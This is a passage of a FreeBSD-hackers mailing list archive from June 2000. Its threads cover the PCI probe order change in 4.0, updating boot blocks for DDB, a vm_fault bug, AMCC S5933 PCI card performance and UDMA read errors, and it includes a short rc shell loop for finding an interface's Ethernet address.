2B46737B96D; Thu, 1 Jun 2000 09:37:57 -0700 (PDT) (envelope-from luigi@info.iet.unipi.it) Received: (from luigi@localhost) by info.iet.unipi.it (8.9.3/8.9.3) id SAA66853; Thu, 1 Jun 2000 18:37:32 +0200 (CEST) (envelope-from luigi) From: Luigi Rizzo Message-Id: <200006011637.SAA66853@info.iet.unipi.it> Subject: Re: changed pci bus probe order from 3.2 to 4.0 -- ideas? In-Reply-To: from Fred Clift at "Jun 1, 2000 09:54:23 am" To: Fred Clift Date: Thu, 1 Jun 2000 18:37:32 +0200 (CEST) Cc: freebsd-hackers@FreeBSD.ORG, freebsd-stable@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL61 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG ... > The problem is that the cards get swapped. ... > It's a long story as to why switching cables, or changing which card gets > which IP address isn't really a good solution. The short answer is that i suppose the only place where you use the actual card names is the firewall config and rc.conf -- can't you just make these scripts fetch the ethernet address of the card(s), set a shell variable with the name of the good card, and go ahead with that ? I did something similar in picobsd to make the same floppy recognise the hardware on different systems. Something like (in /etc/rc): n_ether="" for main_if in `ifconfig -l` ; do set `ifconfig $main_if` while [ "$1" != "" ] ; do if [ $1 = "ether" ] ; then main_ether=$2 break 2 else shift fi done done At which point $main_ether contains the ethernet address of your first ethernet interface and you can base decisions on that... cheers luigi -----------------------------------+------------------------------------- Luigi RIZZO, luigi@iet.unipi.it . Dip. di Ing. dell'Informazione http://www.iet.unipi.it/~luigi/ . Universita` di Pisa TEL/FAX: +39-050-568.533/522 . via Diotisalvi 2, 56126 PISA (Italy) Mobile +39-347-0373137 -----------------------------------+------------------------------------- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu Jun 1 10: 0:49 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from resnet.uoregon.edu (resnet.uoregon.edu [128.223.144.32]) by hub.freebsd.org (Postfix) with ESMTP id 4DB4F37B998; Thu, 1 Jun 2000 10:00:41 -0700 (PDT) (envelope-from dwhite@resnet.uoregon.edu) Received: from localhost (dwhite@localhost) by resnet.uoregon.edu (8.10.1/8.10.1) with ESMTP id e51H0UK75062; Thu, 1 Jun 2000 10:00:31 -0700 (PDT) Date: Thu, 1 Jun 2000 10:00:30 -0700 (PDT) From: Doug White To: "G.B.Naidu" Cc: freebsd-net@FreeBSD.ORG, freebsd-hackers@FreeBSD.ORG Subject: Re: DDB is not setting break points... (fwd) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Thu, 1 Jun 2000, G.B.Naidu wrote: > Have posted this questoin earlier. I have got no replies. Some body take > some time to clarify this? cd /sys/boot make depend all install disklabel -B ad0 reboot This will update your bootblocks. > In the handbook chap 21, Note says: Note that if you have an older version > of boot blocks. your debugger symbols might not be loaded at all. Update > the bopot blocks; Doug White | FreeBSD: The Power to Serve dwhite@resnet.uoregon.edu | www.FreeBSD.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu Jun 1 10:15:35 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from gatekeeper.veriohosting.com (gatekeeper.veriohosting.com [192.41.0.2]) by hub.freebsd.org (Postfix) with ESMTP id 50A9937B912; Thu, 1 Jun 2000 10:15:26 -0700 (PDT) (envelope-from fred@veriohosting.com) Received: by gatekeeper.veriohosting.com; Thu, 1 Jun 2000 11:15:11 -0600 (MDT) Received: from unknown(192.168.1.7) by gatekeeper.veriohosting.com via smap (V3.1.1) id xma016525; Thu, 1 Jun 00 11:14:52 -0600 Received: from vespa.orem.iserver.com (vespa.orem.iserver.com [192.168.1.144]) by orca.orem.veriohosting.com [Verio Web Hosting, Inc. 801.437.0200] (8.8.8) id LAA65275; Thu, 1 Jun 2000 11:14:51 -0600 (MDT) Date: Thu, 1 Jun 2000 11:19:29 -0600 (MDT) From: Fred Clift X-Sender: fred@vespa.orem.iserver.com To: Luigi Rizzo Cc: freebsd-hackers@FreeBSD.ORG, freebsd-stable@FreeBSD.ORG Subject: Re: changed pci bus probe order from 3.2 to 4.0 -- ideas? In-Reply-To: <200006011637.SAA66853@info.iet.unipi.it> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > > i suppose the only place where you use the actual card names > is the firewall config and rc.conf -- can't you just make these > scripts fetch the ethernet address of the card(s), set a shell > variable with the name of the good card, and go ahead with that ? Yeah I'm about to the point of doing this for lack of other options. Thanks for the sample code -- I'm sure it'll come in handy if I can solve this any other way. The best fix would be to find a way to hard-wire which card is which in the kernel config (ie fxp0 is always on pci0...) but I dont know if you can do that kind of thing with pci devices. Thanks for the help. -- Fred Clift - fred@veriohosting.com -- Remember: If brute force doesn't work, you're just not using enough. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu Jun 1 10:24:51 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from email-serv1.custserv.com (fw-serv3.customersvc.com [208.135.116.130]) by hub.freebsd.org (Postfix) with ESMTP id 8E53B37B6DB; Thu, 1 Jun 2000 10:24:42 -0700 (PDT) (envelope-from luigi@info.iet.unipi.it) X-Internal-ID: 39369600000000A6 Received: from Organization.com (208.135.116.12) by email-serv1.custserv.com (NPlex 2.0.119); Thu, 1 Jun 2000 13:21:21 -0400 Message-ID: Date: Thu, 1 Jun 2000 18:37:32 +0200 (CEST) From: (Luigi Rizzo) To: fred@veriohosting.com Cc: freebsd-stable@FreeBSD.ORG, freebsd-hackers@FreeBSD.ORG Subject: Re: changed pci bus probe order from 3.2 to 4.0 -- ideas? Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG ... > The problem is that the cards get swapped. ... > It's a long story as to why switching cables, or changing which card gets > which IP address isn't really a good solution. The short answer is that i suppose the only place where you use the actual card names is the firewall config and rc.conf -- can't you just make these scripts fetch the ethernet address of the card(s), set a shell variable with the name of the good card, and go ahead with that ? I did something similar in picobsd to make the same floppy recognise the hardware on different systems. Something like (in /etc/rc): n_ether="" for main_if in `ifconfig -l` ; do set `ifconfig $main_if` while [ "$1" != "" ] ; do if [ $1 = "ether" ] ; then main_ether=$2 break 2 else shift fi done done At which point $main_ether contains the ethernet address of your first ethernet interface and you can base decisions on that... cheers luigi -----------------------------------+------------------------------------- Luigi RIZZO, luigi@iet.unipi.it . Dip. di Ing. dell'Informazione http://www.iet.unipi.it/~luigi/ . Universita` di Pisa TEL/FAX: +39-050-568.533/522 . via Diotisalvi 2, 56126 PISA (Italy) Mobile +39-347-0373137 -----------------------------------+------------------------------------- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu Jun 1 10:33:36 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from apollo.backplane.com (apollo.backplane.com [216.240.41.2]) by hub.freebsd.org (Postfix) with ESMTP id 13ADF37BE3A for ; Thu, 1 Jun 2000 10:33:28 -0700 (PDT) (envelope-from dillon@apollo.backplane.com) Received: (from dillon@localhost) by apollo.backplane.com (8.9.3/8.9.1) id KAA39949; Thu, 1 Jun 2000 10:33:19 -0700 (PDT) (envelope-from dillon) Date: Thu, 1 Jun 2000 10:33:19 -0700 (PDT) From: Matthew Dillon Message-Id: <200006011733.KAA39949@apollo.backplane.com> To: Oleg Derevenetz Cc: freebsd-hackers@FreeBSD.ORG Subject: Re: vm_fault() problem References: Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG :It seems to be a problem in vm/vm_fault() and :vnode_pager_generic_putpages() in FreeBSD 3.x & 4.0. : :The following code illustrates the problem: : :#include :#include :... Yes, this is definitely a bug. I'll take a look at fixing it on the weekend. I think what we have to do is allocate the file blocks at the time the page is dirties instead of later on when we try to flush the page out. It should be possible to do this in vm/vm_fault.c line 255 (in vm_fault(), the call to vm_freeze_copyopts()). This way if the filesystem runs out of space we can seg-fault the process synchronously. The problem as it stands now is that the pages are flushed asynchronously, and so the bitmap allocation can occur at a random time. -Matt To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu Jun 1 10:39: 4 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from panzer.kdm.org (panzer.kdm.org [216.160.178.169]) by hub.freebsd.org (Postfix) with ESMTP id 3D8A337B61E; Thu, 1 Jun 2000 10:38:51 -0700 (PDT) (envelope-from ken@panzer.kdm.org) Received: (from ken@localhost) by panzer.kdm.org (8.9.3/8.9.1) id LAA92553; Thu, 1 Jun 2000 11:38:42 -0600 (MDT) (envelope-from ken) Date: Thu, 1 Jun 2000 11:38:42 -0600 From: "Kenneth D. Merry" To: Fred Clift Cc: Luigi Rizzo , freebsd-hackers@FreeBSD.ORG, freebsd-stable@FreeBSD.ORG Subject: Re: changed pci bus probe order from 3.2 to 4.0 -- ideas? Message-ID: <20000601113842.A92456@panzer.kdm.org> References: <200006011637.SAA66853@info.iet.unipi.it> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2i In-Reply-To: ; from fred@veriohosting.com on Thu, Jun 01, 2000 at 11:19:29AM -0600 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Thu, Jun 01, 2000 at 11:19:29 -0600, Fred Clift wrote: > > > > i suppose the only place where you use the actual card names > > is the firewall config and rc.conf -- can't you just make these > > scripts fetch the ethernet address of the card(s), set a shell > > variable with the name of the good card, and go ahead with that ? > > Yeah I'm about to the point of doing this for lack of other options. > Thanks for the sample code -- I'm sure it'll come in handy if I can solve > this any other way. > > The best fix would be to find a way to hard-wire which card is which in > the kernel config (ie fxp0 is always on pci0...) but I dont know if you > can do that kind of thing with pci devices. The problem is that when the new-bus code was introduced, the probe order was changed from a bus-by-bus probe (breadth first?) to a depth-first probe. i.e. as soon as another PCI bus is found (e.g. on a bridge chip) it is probed, rather than deferring the probe of the new bus until the probe of the current bus has been completed. I think Doug Rabson had plans to fix the probe order, but it never happened. There is no way to hardwire PCI devices, so you'll probably have to just change which card is referenced in your scripts. Ken -- Kenneth Merry ken@kdm.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu Jun 1 11:14:25 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from rover.village.org (rover.village.org [204.144.255.49]) by hub.freebsd.org (Postfix) with ESMTP id F2FCA37B673; Thu, 1 Jun 2000 11:14:18 -0700 (PDT) (envelope-from imp@harmony.village.org) Received: from harmony.village.org (harmony.village.org [10.0.0.6]) by rover.village.org (8.9.3/8.9.3) with ESMTP id MAA51077; Thu, 1 Jun 2000 12:14:16 -0600 (MDT) (envelope-from imp@harmony.village.org) Received: from harmony.village.org (localhost.village.org [127.0.0.1]) by harmony.village.org (8.9.3/8.8.3) with ESMTP id MAA30293; Thu, 1 Jun 2000 12:13:50 -0600 (MDT) Message-Id: <200006011813.MAA30293@harmony.village.org> To: Dennis Subject: Re: S5933 PCI Adapter..?? Cc: Mike Smith , Joy Ganguly , freebsd-hackers In-reply-to: Your message of "Thu, 01 Jun 2000 11:18:36 EDT." <200006011518.LAA02647@etinc.com> References: <200006011518.LAA02647@etinc.com> Date: Thu, 01 Jun 2000 12:13:50 -0600 From: Warner Losh Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG In message <200006011518.LAA02647@etinc.com> Dennis writes: : Have you done bus performance testing with this card? Given the : architechture of the AMCC part, it seems highly improbable that you will be : able to get high throughput with such a card. Because the AMCC part : requires external logic it is impossible to do pass-through single cycle : bursts, which is required for efficient utilization of the PCI bus. Once : you begin holding off cycles the PCI bus totally pigs out (which is why : virtually all high-speed pci solutions are single-chip type designs). Yes. I've done drivers for several cards with this design. The AMCC part is very fussy and will often lock up the bus unless the card designer has put enough extra logic on the card to cope with the oddities of the card. Sadly, many don't. Warner To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu Jun 1 11:19:24 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from email-serv1.custserv.com (fw-serv3.customersvc.com [208.135.116.130]) by hub.freebsd.org (Postfix) with ESMTP id 3757137B6B8; Thu, 1 Jun 2000 11:19:18 -0700 (PDT) (envelope-from fred@veriohosting.com) X-Internal-ID: 3936A4A50000009E Received: from custserv.com (208.135.116.12) by email-serv1.custserv.com (NPlex 2.0.119); Thu, 1 Jun 2000 14:15:28 -0400 Message-ID: Date: Thu, 1 Jun 2000 11:19:29 -0600 (MDT) From: (Fred Clift) To: luigi@info.iet.unipi.it Cc: freebsd-stable@FreeBSD.ORG, freebsd-hackers@FreeBSD.ORG Subject: Re: changed pci bus probe order from 3.2 to 4.0 -- ideas? Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > > i suppose the only place where you use the actual card names > is the firewall config and rc.conf -- can't you just make these > scripts fetch the ethernet address of the card(s), set a shell > variable with the name of the good card, and go ahead with that ? Yeah I'm about to the point of doing this for lack of other options. Thanks for the sample code -- I'm sure it'll come in handy if I can solve this any other way. The best fix would be to find a way to hard-wire which card is which in the kernel config (ie fxp0 is always on pci0...) but I dont know if you can do that kind of thing with pci devices. Thanks for the help. -- Fred Clift - fred@veriohosting.com -- Remember: If brute force doesn't work, you're just not using enough. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu Jun 1 11:24:55 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from etinc.com (et-gw.etinc.com [207.252.1.2]) by hub.freebsd.org (Postfix) with ESMTP id C1B3137B6B8; Thu, 1 Jun 2000 11:24:50 -0700 (PDT) (envelope-from dennis@etinc.com) Received: from dbsys (dbsys.etinc.com [207.252.1.18]) by etinc.com (8.9.3/8.9.3) with SMTP id OAA03264; Thu, 1 Jun 2000 14:29:33 -0400 (EDT) Message-Id: <200006011829.OAA03264@etinc.com> X-Sender: dennis@etinc.com X-Mailer: QUALCOMM Windows Eudora Pro Version 4.0 Date: Thu, 01 Jun 2000 14:29:21 -0400 To: Warner Losh From: Dennis Subject: Re: S5933 PCI Adapter..?? Cc: Mike Smith , Joy Ganguly , freebsd-hackers In-Reply-To: <200006011813.MAA30293@harmony.village.org> References: <200006011518.LAA02647@etinc.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG At 12:13 PM 6/1/00 -0600, Warner Losh wrote: >In message <200006011518.LAA02647@etinc.com> Dennis writes: >: Have you done bus performance testing with this card? Given the >: architechture of the AMCC part, it seems highly improbable that you will be >: able to get high throughput with such a card. Because the AMCC part >: requires external logic it is impossible to do pass-through single cycle >: bursts, which is required for efficient utilization of the PCI bus. Once >: you begin holding off cycles the PCI bus totally pigs out (which is why >: virtually all high-speed pci solutions are single-chip type designs). > >Yes. I've done drivers for several cards with this design. The AMCC >part is very fussy and will often lock up the bus unless the card >designer has put enough extra logic on the card to cope with the >oddities of the card. Sadly, many don't. We used it on our first (and now defunct) pci board, and we didnt have trouble with lockups (there are quite a few errata that have to be addresses), but the arbitration was pitifully slow. There was no way to get high throughput across the bus. We completely rejected it for use on T3...i find it interesting that someone did an OC3/ATM card with it. Dennis Emerging Technologies, Inc. ---------------------------------------------------------------------------- --------- http://www.etinc.com ISA and PCI T1/T3/V35/HSSI Cards for FreeBSD and LINUX Multiport T1 and HSSI/T3 UNIX-based Routers Bandwidth Management Standalone Systems Bandwidth Management software for LINUX and FreeBSD To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu Jun 1 11:34:27 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from corinth.bossig.com (corinth.bossig.com [208.26.239.66]) by hub.freebsd.org (Postfix) with ESMTP id AF2B237B68A for ; Thu, 1 Jun 2000 11:34:24 -0700 (PDT) (envelope-from kstewart@3-cities.com) Received: from 3-cities.com (unverified [208.26.241.209]) by corinth.bossig.com (Rockliffe SMTPRA 4.2.1) with ESMTP id for ; Thu, 1 Jun 2000 11:34:52 -0700 Message-ID: <3936AC99.F091CDFE@3-cities.com> Date: Thu, 01 Jun 2000 11:34:01 -0700 From: Kent Stewart Organization: BOSSig (BOSS Internet Group) X-Mailer: Mozilla 4.73 [en] (Windows NT 5.0; U) X-Accept-Language: en MIME-Version: 1.0 To: FreeBSD Hackers Subject: UDMA-33 Error Messages Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I had a power outage this morning and my 4.0-Stable system suddenly started generating the following messages Jun 1 09:38:55 opal /kernel: acd0: DVD-ROM at ata1-master using PIO4 Jun 1 09:38:55 opal /kernel: Mounting root from ufs:/dev/ad0s3a Jun 1 09:38:55 opal /kernel: ad0: UDMA ICRC READ ERROR blk# 0 retrying Jun 1 09:38:55 opal last message repeated 2 times Jun 1 09:38:55 opal /kernel: ad0: UDMA ICRC READ ERROR blk# 0ata0-master: WARNING: WAIT_READY active=ATA_ACTIVE_ATA Jun 1 09:38:55 opal /kernel: falling back to PIO mode Jun 1 09:38:55 opal /kernel: WARNING: / was not properly dismounted This machine had never done this before and I noticed that the reboot hadn't taken care of the dismount message. I had to manually fsck the system. A single user boot produced much nastier messages and were persistant. I rebooted three times before I did the manual fsck. The boot to single user was the third boot. The reboot after the fsck sequence produced the following boot stream cut and pasted from dmesg. Jun 1 10:20:23 opal /kernel: ad0: 19541MB [39703/16/63] at ata0-master using UDMA33 Jun 1 10:20:23 opal /kernel: ad1: 6679MB [14475/15/63] at ata0-slave using UDMA33 Jun 1 10:20:23 opal /kernel: ad3: 12970MB [26353/16/63] at ata1-slave using UDMA33 Jun 1 10:20:23 opal /kernel: acd0: DVD-ROM at ata1-master using PIO4 Jun 1 10:20:23 opal /kernel: Mounting root from ufs:/dev/ad0s3a I also noticed the "/kernel: WARNING: / was not properly dismounted" in messages from people having ATA read error troubles on UDMA drives. Kent -- Kent Stewart Richland, WA mailto:kstewart@3-cities.com http://www.3-cities.com/~kstewart/index.html FreeBSD News http://daily.daemonnews.org/ SETI(Search for Extraterrestrial Intelligence) @ HOME http://setiathome.ssl.berkeley.edu/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu Jun 1 11:44: 0 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from etinc.com (et-gw.etinc.com [207.252.1.2]) by hub.freebsd.org (Postfix) with ESMTP id A1E0037BE3A for ; Thu, 1 Jun 2000 11:43:55 -0700 (PDT) (envelope-from dennis@etinc.com) Received: from dbsys (dbsys.etinc.com [207.252.1.18]) by etinc.com (8.9.3/8.9.3) with SMTP id OAA03313 for ; Thu, 1 Jun 2000 14:48:44 -0400 (EDT) Message-Id: <200006011848.OAA03313@etinc.com> X-Sender: dennis@etinc.com X-Mailer: QUALCOMM Windows Eudora Pro Version 4.0 Date: Thu, 01 Jun 2000 14:48:32 -0400 To: hackers@freebsd.org From: Dennis Subject: ISA device with no ports in 4.0 Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Trying to use a "compat" driver with no isa ports and 4.0 complains (we used to return a 1 and set the ioport to 0)..since you cant return a 0 from probe, is there a trick to tell the system that there are no ports? DB To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu Jun 1 13:24:11 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from arjun.niksun.com (gwnew.niksun.com [206.20.52.130]) by hub.freebsd.org (Postfix) with ESMTP id D896037B5EB for ; Thu, 1 Jun 2000 13:24:00 -0700 (PDT) (envelope-from joy@niksun.com) Received: from falcon.niksun.com (falcon.niksun.com [10.0.0.167]) by arjun.niksun.com (8.9.3/8.9.3) with ESMTP id QAA73366; Thu, 1 Jun 2000 16:23:55 -0400 (EDT) (envelope-from joy@falcon.niksun.com) Message-ID: <3936C677.C3C04A83@falcon.niksun.com> Date: Thu, 01 Jun 2000 16:24:23 -0400 From: Joy Ganguly X-Mailer: Mozilla 4.51 [en] (X11; I; FreeBSD 3.2-RELEASE i386) X-Accept-Language: en MIME-Version: 1.0 To: Dennis , freebsd-hackers Subject: Re: S5933 PCI Adapter..?? References: <200006011518.LAA02647@etinc.com> <200006011829.OAA03264@etinc.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Dennis wrote: > At 12:13 PM 6/1/00 -0600, Warner Losh wrote: > >In message <200006011518.LAA02647@etinc.com> Dennis writes: > >: Have you done bus performance testing with this card? Given the > >: architechture of the AMCC part, it seems highly improbable that you will be > >: able to get high throughput with such a card. Because the AMCC part > >: requires external logic it is impossible to do pass-through single cycle > >: bursts, which is required for efficient utilization of the PCI bus. Once > >: you begin holding off cycles the PCI bus totally pigs out (which is why > >: virtually all high-speed pci solutions are single-chip type designs). > > > >Yes. I've done drivers for several cards with this design. The AMCC > >part is very fussy and will often lock up the bus unless the card > >designer has put enough extra logic on the card to cope with the > >oddities of the card. Sadly, many don't. > > We used it on our first (and now defunct) pci board, and we didnt have > trouble with lockups (there are quite a few errata that have to be > addresses), but the arbitration was pitifully slow. There was no way to get > high throughput across the bus. We completely rejected it for use on > T3...i find it interesting that someone did an OC3/ATM card with it. > > Dennis > > Emerging Technologies, Inc. > well the problem seems to have been with the motherboard. i changed the motherboard and the card is working. we are using "point" oc3 card from 'applied telecom'. we have not done any performance testing. the card is mainly meant for monitoring. joy To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu Jun 1 13:46:35 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from etinc.com (et-gw.etinc.com [207.252.1.2]) by hub.freebsd.org (Postfix) with ESMTP id 64CF837B600 for ; Thu, 1 Jun 2000 13:46:31 -0700 (PDT) (envelope-from dennis@etinc.com) Received: from dbsys (dbsys.etinc.com [207.252.1.18]) by etinc.com (8.9.3/8.9.3) with SMTP id QAA03632; Thu, 1 Jun 2000 16:51:03 -0400 (EDT) Message-Id: <200006012051.QAA03632@etinc.com> X-Sender: dennis@etinc.com X-Mailer: QUALCOMM Windows Eudora Pro Version 4.0 Date: Thu, 01 Jun 2000 16:50:49 -0400 To: Joy Ganguly , freebsd-hackers From: Dennis Subject: Re: S5933 PCI Adapter..?? In-Reply-To: <3936C677.C3C04A83@falcon.niksun.com> References: <200006011518.LAA02647@etinc.com> <200006011829.OAA03264@etinc.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG At 04:24 PM 6/1/00 -0400, Joy Ganguly wrote: >Dennis wrote: > >> At 12:13 PM 6/1/00 -0600, Warner Losh wrote: >> >In message <200006011518.LAA02647@etinc.com> Dennis writes: >> >: Have you done bus performance testing with this card? Given the >> >: architechture of the AMCC part, it seems highly improbable that you will be >> >: able to get high throughput with such a card. Because the AMCC part >> >: requires external logic it is impossible to do pass-through single cycle >> >: bursts, which is required for efficient utilization of the PCI bus. Once >> >: you begin holding off cycles the PCI bus totally pigs out (which is why >> >: virtually all high-speed pci solutions are single-chip type designs). >> > >> >Yes. I've done drivers for several cards with this design. The AMCC >> >part is very fussy and will often lock up the bus unless the card >> >designer has put enough extra logic on the card to cope with the >> >oddities of the card. Sadly, many don't. >> >> We used it on our first (and now defunct) pci board, and we didnt have >> trouble with lockups (there are quite a few errata that have to be >> addresses), but the arbitration was pitifully slow. There was no way to get >> high throughput across the bus. We completely rejected it for use on >> T3...i find it interesting that someone did an OC3/ATM card with it. >> >> Dennis >> >> Emerging Technologies, Inc. >> > >well the problem seems to have been with the motherboard. i changed the >motherboard and the card is working. >we are using "point" oc3 card from 'applied telecom'. we have not done >any >performance testing. the card is mainly meant for monitoring. of course this discussion has nothing to do with your problem...but Im glad you figured it out :-) good luck with your throughput. DB To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu Jun 1 14:13:50 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from mail.wolves.k12.mo.us (mail.wolves.k12.mo.us [207.160.214.1]) by hub.freebsd.org (Postfix) with ESMTP id C59D237B57B; Thu, 1 Jun 2000 14:13:43 -0700 (PDT) (envelope-from cdillon@wolves.k12.mo.us) Received: from mail.wolves.k12.mo.us (cdillon@mail.wolves.k12.mo.us [207.160.214.1]) by mail.wolves.k12.mo.us (8.9.3/8.9.3) with ESMTP id QAA40318; Thu, 1 Jun 2000 16:13:22 -0500 (CDT) (envelope-from cdillon@wolves.k12.mo.us) Date: Thu, 1 Jun 2000 16:13:22 -0500 (CDT) From: Chris Dillon To: "Kenneth D. Merry" Cc: Fred Clift , Luigi Rizzo , freebsd-hackers@FreeBSD.ORG, freebsd-stable@FreeBSD.ORG Subject: Re: changed pci bus probe order from 3.2 to 4.0 -- ideas? In-Reply-To: <20000601113842.A92456@panzer.kdm.org> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Thu, 1 Jun 2000, Kenneth D. Merry wrote: > On Thu, Jun 01, 2000 at 11:19:29 -0600, Fred Clift wrote: > > > > > > i suppose the only place where you use the actual card names > > > is the firewall config and rc.conf -- can't you just make these > > > scripts fetch the ethernet address of the card(s), set a shell > > > variable with the name of the good card, and go ahead with that ? > > > > Yeah I'm about to the point of doing this for lack of other options. > > Thanks for the sample code -- I'm sure it'll come in handy if I can solve > > this any other way. > > > > The best fix would be to find a way to hard-wire which card is which in > > the kernel config (ie fxp0 is always on pci0...) but I dont know if you > > can do that kind of thing with pci devices. > > The problem is that when the new-bus code was introduced, the probe order > was changed from a bus-by-bus probe (breadth first?) to a depth-first > probe. > > i.e. as soon as another PCI bus is found (e.g. on a bridge chip) it is > probed, rather than deferring the probe of the new bus until the probe of > the current bus has been completed. > > I think Doug Rabson had plans to fix the probe order, but it never > happened. > > There is no way to hardwire PCI devices, so you'll probably have to just > change which card is referenced in your scripts. I can see that that would be fun if I were to switch from 3.4-STABLE to 4.0-STABLE on my 7-NIC (8-port) router. Currently they all probe in a way that the physical layout of the cards mirrors the logical layout. One is a dual-port NIC with PCI bridge which would constitute a PCI bus all by itself, then I believe there are three separate PCI busses of three slots each for a total of 9 PCI slots (or it could be 4x2 and 1x1). I can just imagine a physical to logical mapping nightmare of 2-3-4-7-8-9-1-2-3 now. :-) -- Chris Dillon - cdillon@wolves.k12.mo.us - cdillon@inter-linc.net FreeBSD: The fastest and most stable server OS on the planet. For Intel x86 and Alpha architectures. ( http://www.freebsd.org ) To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu Jun 1 15:38:29 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from email-serv1.custserv.com (fw-serv3.customersvc.com [208.135.116.130]) by hub.freebsd.org (Postfix) with ESMTP id AD09137B5A2; Thu, 1 Jun 2000 15:38:25 -0700 (PDT) (envelope-from luigi@info.iet.unipi.it) X-Internal-ID: 3936A4A50000208C Received: from custserv.com (208.135.116.12) by email-serv1.custserv.com (NPlex 2.0.119); Thu, 1 Jun 2000 18:35:07 -0400 Message-ID: Date: Thu, 1 Jun 2000 18:37:32 +0200 (CEST) From: luigi@info.iet.unipi.it To: fred@veriohosting.com Cc: freebsd-hackers@FreeBSD.ORG, freebsd-stable@FreeBSD.ORG Subject: Re: changed pci bus probe order from 3.2 to 4.0 -- ideas? Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG ... > The problem is that the cards get swapped. ... > It's a long story as to why switching cables, or changing which card gets > which IP address isn't really a good solution. The short answer is that i suppose the only place where you use the actual card names is the firewall config and rc.conf -- can't you just make these scripts fetch the ethernet address of the card(s), set a shell variable with the name of the good card, and go ahead with that ? I did something similar in picobsd to make the same floppy recognise the hardware on different systems. Something like (in /etc/rc): n_ether="" for main_if in `ifconfig -l` ; do set `ifconfig $main_if` while [ "$1" != "" ] ; do if [ $1 = "ether" ] ; then main_ether=$2 break 2 else shift fi done done At which point $main_ether contains the ethernet address of your first ethernet interface and you can base decisions on that... cheers luigi -----------------------------------+------------------------------------- Luigi RIZZO, luigi@iet.unipi.it . Dip. di Ing. dell'Informazione http://www.iet.unipi.it/~luigi/ . Universita` di Pisa TEL/FAX: 